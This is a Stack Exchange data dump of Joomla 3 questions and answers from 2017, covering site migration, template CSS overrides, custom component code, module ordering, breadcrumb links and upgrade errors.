  <row Id="21597" PostTypeId="2" ParentId="21586" CreationDate="2017-09-23T09:03:54.720" Score="1" Body="&lt;p&gt;First of all, if you are going to move the site to another one, I highly recommend you to use Akeeba Backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a free version and it would make moving your website a lot simpler, while reducing the possibilities of a number of issues/errors compared to when moving your site manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the hand, open your configuration.php and check everything it's ok with the new site configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you can put the system on development state from the configuration.php, but I'm sorry that I can't provide more help in this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you continue to have the original deploy alive, I highly reccomend you to use Akeeba Backup and then try again (installing it into your server).&lt;/p&gt;&#xA;" OwnerUserId="11575" LastEditorUserId="126" LastEditDate="2017-11-22T18:32:10.733" LastActivityDate="2017-11-22T18:32:10.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21598" PostTypeId="1" CreationDate="2017-09-23T09:21:29.303" Score="1" ViewCount="17" Body="&lt;p&gt;I would like to know if there's a desktop application to easy generate components, plugins and modules for Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested this two generators:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.npmjs.com/package/generator-joomla3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.npmjs.com/package/generator-joomla3&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.npmjs.com/package/generator-joomla-component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.npmjs.com/package/generator-joomla-component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They seem that in some moment in the future will work fine, but for the moment, I only encounted headaches with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It exists something, for example, that could work with Netbeans or an IDE like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2017-09-23T09:21:29.303" Title="Desktop application for macOS to generate components, plugins and modules" Tags="|component|development|module|plugin|development-tool|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21601" PostTypeId="2" ParentId="21547" CreationDate="2017-09-24T08:35:35.733" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Fatal error: Call to undefined method JmsMessagesModelMessages::publish() in E:\xampp\htdocs\joomla37\libraries\legacy\controller\admin.php on line 210&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Like the error says, you don't have implemented a publish() function in your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make one that changes the state for the column like you want on the database and it will work.&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2017-09-24T08:35:35.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21604" PostTypeId="1" CreationDate="2017-09-25T11:50:22.730" Score="1" ViewCount="175" Body="&lt;p&gt;I've created a custom component in which my client can add and manage different accommodations. I would like to automatically create a folder (with name of Alias) inside '/images' whenever the client adds a new object (accommodation) to the component. I did find that I should be able to fire for example &lt;code&gt;JFolder::create&lt;/code&gt; on &lt;code&gt;onContentAfterSave&lt;/code&gt;, found a example of somebody using it to do the same in com_articles with use of a plugin, but somehow I cannot get it to work inside my custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(To be complete: the issue here is that the mediamanager, when used in a subform like I do, does not show the option to create a folder. Hence I would like to add it this way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any thoughts on this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// code I have in edit.php of component&#xA;&#xA;function onContentAfterSave(){&#xA;    $foldername = $accommodation-&amp;gt;alias;&#xA;&#xA;    // First we set up parameters&#xA;    $searchpath = JUri::root() . '/images/accommodations' . $foldername;&#xA;&#xA;    // Joomla doesn't autoload JFile and JFolder&#xA;    JLoader::register('JFile', JPATH_LIBRARIES . '/joomla/filesystem/file.php');&#xA;    JLoader::register('JFolder', JPATH_LIBRARIES . '/joomla/filesystem/folder.php');&#xA;&#xA;    // Then we create the subfolders&#xA;    if (!JFolder::create($searchpath . &quot;/gallery&quot;))&#xA;    {&#xA;&#xA;    };&#xA;    if (!JFolder::create($searchpath . &quot;/slider&quot;))&#xA;    {&#xA;&#xA;    };&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11595" LastEditorUserId="11451" LastEditDate="2017-10-07T12:24:47.827" LastActivityDate="2017-12-06T13:53:46.673" Title="J3.8 : create folder on save item in custom component" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21605" PostTypeId="1" CreationDate="2017-09-25T12:09:47.577" Score="3" ViewCount="189" Body="&lt;p&gt;Various 3rd party extensions have dropdown menu icons that don't appear in ISIS because ISIS doesn't provide for dropdown menu icons.  This is caused because ISIS has the following CSS activator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav-collapse .nav li a,&#xA;.dropdown-menu a {&#xA;    background-image: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've determined that if that activator is commented out in the template.css file the 3rd party menu icons appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that every time Joomla has an upgrade, the ISIS template upgrade will over write the template.css file.&#xA;The ISIS template provides for the addition of a &lt;code&gt;custom.css&lt;/code&gt; file which loads after the template's default CSS file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What code should be placed in the custom.css file to provide for the display of the 3rd party dropdown menu icons?&#xA;I've tried the following code in custom.css, but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav-collapse .nav li a,&#xA;.dropdown-menu a {&#xA;    /* background-image: none; */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="418" LastEditorUserId="168" LastEditDate="2017-09-26T11:35:11.740" LastActivityDate="2018-08-22T18:01:05.477" Title="How can Joomla isis template be forced to display dropdown menu icons?" Tags="|joomla-3.x|css|isis-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21606" PostTypeId="1" AcceptedAnswerId="21609" CreationDate="2017-09-25T15:31:10.073" Score="2" ViewCount="1918" Body="&lt;p&gt;I am trying to set tem directory path and logs dir path in my joomla site .&#xA;my site folder path is this &quot;&lt;code&gt;/httpdocs/example.com/online&lt;/code&gt;&quot; and my site url this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://dev.maindomain.com/example/online/.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please let me know .I do not what will be my root path of temp file .Please help me&lt;/p&gt;&#xA;" OwnerUserId="11573" LastActivityDate="2018-11-21T15:59:12.473" Title="how to set tmp path and log pat" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21607" PostTypeId="2" ParentId="21606" CreationDate="2017-09-25T17:10:41.420" Score="3" Body="&lt;p&gt;In cPanel hosting this usually looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/username/public_html/tmp&#xA;/home/username/public_html/logs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your system, it should be similar, but for the exact path better consult your hosting provider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it's very likely that this information is available and visible somewhere within your hosting account / hosting control panel, so you may find it by looking around.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-09-25T17:10:41.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21608" PostTypeId="2" ParentId="21605" CreationDate="2017-09-26T00:12:47.850" Score="1" Body="&lt;p&gt;I'd try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav-collapse .nav li a, .dropdown-menu a {background-image: inherit;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-09-26T00:12:47.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21609" PostTypeId="2" ParentId="21606" CreationDate="2017-09-26T00:19:59.023" Score="2" Body="&lt;p&gt;Create a PHP file called &lt;code&gt;whereami.php&lt;/code&gt; with the following contents and upload to the root folder of your website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  print 'Current dir is ' . dirname(__FILE__);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run the file by browsing to &lt;code&gt;yoursitename.com/whereami.php&lt;/code&gt; and this will show you the path to the root folder of your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the logs and tmp folders are sub folders of the root path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to delete the &lt;code&gt;whereami.php&lt;/code&gt; folder when you are finished.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-09-26T00:19:59.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21610" PostTypeId="1" CreationDate="2017-09-26T01:22:09.777" Score="1" ViewCount="162" Body="&lt;p&gt;OK, I have tried the info from another suggestion on stackexchange, but I seem to be missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a subform in an admin view for a component I am working on (they were previously repeatable fields). Admin works perfect, but I am having trouble getting the json to display correctly on the frontend site view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fields that are being pulled into the view are in a layout, so it's a little different then in the site view ($displayData instead of $items).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the db I have a field called appliances, and 4 items in the field are {&quot;appliances1&quot;:{&quot;appliance_type&quot;:&quot;Dishwasher&quot;},&quot;appliances2&quot;:{&quot;appliance_type&quot;:&quot;Range&quot;},&quot;appliances3&quot;:{&quot;appliance_type&quot;:&quot;Microwave&quot;},&quot;appliances4&quot;:{&quot;appliance_type&quot;:&quot;Washer/Dryer&quot;}}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK. That looks good and properly formatted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the frontend, in the layout for a view, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;print_r($displayData-&amp;gt;appliances);&#xA;foreach ($displayData-&amp;gt;appliances as $item) : ?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;?php echo $displayData-&amp;gt;appliance_type; ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the print_r shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appliances&#xA;Array ( [appliances1] =&gt; Array ( [appliance_type] =&gt; Dishwasher ) [appliances2] =&gt; Array ( [appliance_type] =&gt; Range ) [appliances3] =&gt; Array ( [appliance_type] =&gt; Microwave ) [appliances4] =&gt; Array ( [appliance_type] =&gt; Washer/Dryer ) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK. again, that looks good. I'll remove that as soon at its working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;&amp;lt;?php echo $displayData-&amp;gt;appliance_type; ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't display anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see in the code, that it's doing the foreach correctly, but it's not grabbing anything from the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            Array&#xA;(&#xA;    [appliances1] =&amp;gt; Array&#xA;        (&#xA;            [appliance_type] =&amp;gt; Dishwasher&#xA;        )&#xA;&#xA;    [appliances2] =&amp;gt; Array&#xA;        (&#xA;            [appliance_type] =&amp;gt; Range&#xA;        )&#xA;&#xA;    [appliances3] =&amp;gt; Array&#xA;        (&#xA;            [appliance_type] =&amp;gt; Microwave&#xA;        )&#xA;&#xA;    [appliances4] =&amp;gt; Array&#xA;        (&#xA;            [appliance_type] =&amp;gt; Washer/Dryer&#xA;        )&#xA;&#xA;)&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what I may be missing?&lt;/p&gt;&#xA;" OwnerUserId="11122" LastActivityDate="2017-11-27T00:20:37.950" Title="Joomla Subform output" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21612" PostTypeId="1" CreationDate="2017-09-26T08:56:11.570" Score="0" ViewCount="1178" Body="&lt;p&gt;I am getting warning error when user logged in. After logged in on top of header show warning message &quot;You are not authorised to view this resource.&quot; And when try to download  attachment it's  showing error page &quot;file does not exist&quot;.&#xA;Any Help&lt;/p&gt;&#xA;" OwnerUserId="11573" LastEditorUserId="11573" LastEditDate="2017-09-26T10:36:11.097" LastActivityDate="2017-09-27T05:47:07.800" Title="After Login waring error You are not authorised to view this resource" Tags="|joomla-3.x|extensions|error-handling|error-pages|php7|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21613" PostTypeId="1" AcceptedAnswerId="21621" CreationDate="2017-09-26T11:03:25.207" Score="3" ViewCount="412" Body="&lt;p&gt;My joomla version is 3.7.5.&lt;br&gt;&#xA;I'm using the similar tags module for dispaying related articles in article view.&lt;br&gt;&#xA;Options in module manager are matching tags &quot;all&quot;, &quot;half&quot;, and &quot;random&quot;.&#xA;I'm using the &quot;all&quot; option.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine but it's ordering the article list in ascending order (e.x. in category auto shows, it's displaying articles, first from 2012, then from 2013 etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the ordering to descending (by published date).&#xA;The code in similar tags helper file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Optionally filter on language&#xA;    $language = JComponentHelper::getParams('com_tags')-&amp;gt;get('tag_list_language_filter', 'all');&#xA;&#xA;    if ($language !== 'all')&#xA;    {&#xA;        if ($language === 'current_language')&#xA;        {&#xA;            $language = JHelperContent::getCurrentLanguage();&#xA;        }&#xA;&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('cc.core_language') . ' IN (' . $db-&amp;gt;quote($language) . ', ' . $db-&amp;gt;quote('*') . ')');&#xA;    }&#xA;&#xA;    $query-&amp;gt;group(&#xA;        $db-&amp;gt;quoteName(&#xA;            array('m.core_content_id', 'm.content_item_id', 'm.type_alias', 'ct.router', 'cc.core_title',&#xA;            'cc.core_alias', 'cc.core_catid', 'cc.core_language', 'cc.core_params')&#xA;        )&#xA;    );&#xA;&#xA;    if ($matchtype === 'all' &amp;amp;&amp;amp; $tagCount &amp;gt; 0)&#xA;    {&#xA;        $query-&amp;gt;having('COUNT( ' . $db-&amp;gt;quoteName('tag_id') . ')  = ' . $tagCount);&#xA;    }&#xA;    elseif ($matchtype === 'half' &amp;amp;&amp;amp; $tagCount &amp;gt; 0)&#xA;    {&#xA;        $tagCountHalf = ceil($tagCount / 2);&#xA;        $query-&amp;gt;having('COUNT( ' . $db-&amp;gt;quoteName('tag_id') . ')  &amp;gt;= ' . $tagCountHalf);&#xA;    }&#xA;&#xA;    if ($ordering === 'count' || $ordering === 'countrandom')&#xA;    {&#xA;        $query-&amp;gt;order($db-&amp;gt;quoteName('count') . ' DESC');&#xA;    }&#xA;&#xA;    if ($ordering === 'random' || $ordering === 'countrandom')&#xA;    {&#xA;        $query-&amp;gt;order($query-&amp;gt;Rand());&#xA;    }&#xA;&#xA;    $db-&amp;gt;setQuery($query, 0, $maximum);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What change can i do to change the order?&lt;/p&gt;&#xA;" OwnerUserId="8707" LastEditorUserId="126" LastEditDate="2017-09-30T05:49:41.990" LastActivityDate="2018-09-27T03:50:26.470" Title="Similar tags module articles ordering by date" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21614" PostTypeId="2" ParentId="21604" CreationDate="2017-09-26T11:43:40.927" Score="1" Body="&lt;p&gt;I think you may be a little confused with &lt;code&gt;JUri::root()&lt;/code&gt;. This method doesn't provide a path, but a URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$searchpath = JUri::root() . '/images/accommodations' . $foldername;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/images/accommodationsXXXXX&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/images/accommodationsXXXXX&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You'll need to make us of &lt;code&gt;JPATH_SITE&lt;/code&gt;. So replace the above code with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$searchpath = JPATH_SITE . '/images/accommodations' . $foldername;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-09-26T11:43:40.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21615" PostTypeId="1" AcceptedAnswerId="21623" CreationDate="2017-09-26T11:59:12.133" Score="0" ViewCount="287" Body="&lt;p&gt;My joomla version is 3.7.5. The home link in breadcrumbs is &quot;domain/index.php&quot;. I want to remove the index.php part.&#xA;How i can modify the code from breadcrumbs helper file to achive this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item-&amp;gt;link = JRoute::_('index.php?Itemid=' . $home-&amp;gt;id);&#xA;        array_unshift($crumbs, $item);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i replace index.php with / the result is &quot;domain/101 (menu id)&quot;.&lt;/p&gt;&#xA;" OwnerUserId="8707" LastActivityDate="2017-09-28T17:01:55.997" Title="remove index.php from breadcrumbs home link" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21616" PostTypeId="2" ParentId="21612" CreationDate="2017-09-27T05:47:07.800" Score="1" Body="&lt;p&gt;I have Resolved this issue this is very basic solution .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. You must have to give permissions public to all special and register menu.&#xA;2:You must have to give permissions public to all special and register content .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After This .warning error Resolved  &lt;/p&gt;&#xA;" OwnerUserId="11573" LastActivityDate="2017-09-27T05:47:07.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21620" PostTypeId="1" AcceptedAnswerId="21622" CreationDate="2017-09-27T17:35:15.097" Score="3" ViewCount="1053" Body="&lt;p&gt;Is it possible to query the user id or username of a logged in user in PHP/Joomla 3 and assign that to a variable? If so how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to create user specific content. Specifically some graphs which are held in a location whos path includes reference to a directory with the same name as their site user id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can pull their user id and assign that to a variable I can then create a path to their own specific content using the contents of the variable specific to them.&lt;/p&gt;&#xA;" OwnerUserId="3384" LastEditorUserId="3384" LastEditDate="2017-09-27T17:58:01.923" LastActivityDate="2017-09-27T18:04:26.407" Title="Using the logged in users username or user id as a variable in Joomla 3" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21621" PostTypeId="2" ParentId="21613" CreationDate="2017-09-27T17:44:29.110" Score="1" Body="&lt;p&gt;After some testing, I found the solution. I added &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$query-&amp;gt;order($db-&amp;gt;quoteName('m.content_item_id') . ' DESC');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;underneath the following code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ($matchtype === 'all' &amp;amp;&amp;amp; $tagCount &amp;gt; 0) { $query-&amp;gt;having('COUNT( ' . $db-&amp;gt;quoteName('tag_id') . ') = ' . $tagCount);&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it does the trick. &#xA;Unfortunately, like all core hacks, with every Joomla update, I must change the file again (can't use template override for helper.php files).&#xA;Then I found MVC override plugin from &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla documentation&lt;/a&gt; and I made a template override for mod_tags_similar/helper.php file. It works fine.&lt;/p&gt;&#xA;" OwnerUserId="8707" LastEditorUserId="115" LastEditDate="2018-09-27T03:50:26.470" LastActivityDate="2018-09-27T03:50:26.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21622" PostTypeId="2" ParentId="21620" CreationDate="2017-09-27T18:04:26.407" Score="4" Body="&lt;p&gt;If I understand you correctly, you want to get the ID of the currently logged in user. In which case, you can simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = JFactory::getUser()-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-09-27T18:04:26.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21623" PostTypeId="2" ParentId="21615" CreationDate="2017-09-27T18:10:09.417" Score="0" Body="&lt;p&gt;I replaced &lt;code&gt;'index.php?Itemid=' . $home-&amp;gt;id&lt;/code&gt; with my domain and problem fixed. Unfortunately, (correct comment from FFrewin below) like all core hacks, with every joomla update, i must change the file again (can't use template override for helper.php files).&#xA;Then i found mvc override plugin from &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla documentation&lt;/a&gt; and i made template override for mod_breadcrumbs/helper.php file. It works fine.&lt;/p&gt;&#xA;" OwnerUserId="8707" LastEditorUserId="8707" LastEditDate="2017-09-28T17:01:55.997" LastActivityDate="2017-09-28T17:01:55.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21624" PostTypeId="1" CreationDate="2017-09-27T20:27:35.250" Score="1" ViewCount="402" Body="&lt;p&gt;I'm trying to create a custom form field type for my component. Functionally it should operate the same as the standard tag form field type, except I want to store the tags in my own database table (rather than the default #__tags table Joomla uses) and I want to force all entered tags to be unique so there are no duplicates in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've started out by creating a new class that extends JFormFieldTag but not really sure how to proceed from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or guidance would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="11535" LastActivityDate="2021-03-24T08:07:12.407" Title="Creating custom form field type extended from standard tag field" Tags="|joomla-3.x|tags|form-fields-types|custom-field|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21626" PostTypeId="1" AcceptedAnswerId="21628" CreationDate="2017-09-27T22:47:17.230" Score="0" ViewCount="1883" Body="&lt;p&gt;I'm having an issue upgrading a quickstart package from 3.3.6 to 3.8. I initially tried a direct upgrade through the Joomla update component but this failed with a 500 error. I enabled error reporting and get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method&#xA;  JApplicationAdministrator::isClient() in&#xA;  /home/mydomain/public_html/plugins/system/stats/stats.php on line 82&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I then restored from backup and tried a 3.4 upgrade package and received the same error. I also tried uploading a 3.4, 3.5, 3.6 full package and extracting over the existing site but I still get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I renamed the stats folder and just got a blank white screen on the admin even though error reporting was enabled. I checked the error log and it reports:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[27-Sep-2017 23:30:00 Europe/London] PHP Fatal error:  Call to&#xA;  undefined method JApplicationAdministrator::isClient() in&#xA;  /home/mydomain/public_html/plugins/quickicon/phpversioncheck/phpversioncheck.php&#xA;  on line 204&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So i renamed the phpversioncheck folder and could access the admin panel....brilliant, I'm now on J3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I next try an update to 3.5. I cannot update through the Ext installation method i.e. Extensions &gt; Extension Manager &gt; Install &gt; Upload Package file ('m not sure what version of Joomla this became obsolete) and when I go to Components &gt; Joomla Update &gt; Options i get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method JApplicationAdministrator::isClient() in /home/mydomain/public_html/administrator/components/com_fields/models/fields.php on line 230&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So..I then just try an update to 3.8 through the update component (what the hell) and get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method&#xA;  JApplicationAdministrator::isClient() in&#xA;  /home/mydomain/public_html/plugins/system/logout/logout.php on line 48&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Following this I start renaming folders as I get the errors such as:&#xA;stats (again) &#xA;remember&#xA;redirect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running out of idea's so If anyone has any idea's it would be most welcome :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-09-27T23:38:59.017" Title="Legacy site 3.3.6 - upgrade issue" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21627" PostTypeId="2" ParentId="21610" CreationDate="2017-09-27T23:11:41.170" Score="2" Body="&lt;p&gt;There are two basic errors.  1. You assign each item in the array to the variable $item and then you don't use it. 2. You use arrow syntax to refer to an array. Having errors displaying would have helped you work through this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($displayData-&amp;gt;appliances as $item) : ?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;?php echo $item['appliance_type']; ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-09-27T23:11:41.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21628" PostTypeId="2" ParentId="21626" CreationDate="2017-09-27T23:38:59.017" Score="2" Body="&lt;p&gt;You need to delete your entire public_html folder and database and start again from the 3.3.6 site.  isClient() is a method of japplication that was introduced in Joomla 3.7.  As your first upgrade failed, you've got Joomla 3.8 code in random places including the database, and copying more legacy Joomla code over the top will just keep causing more chaos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From 3.3.6, if it wont go straight to 3.8, then try 3.5.1 using method B as detailed here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-09-27T23:38:59.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
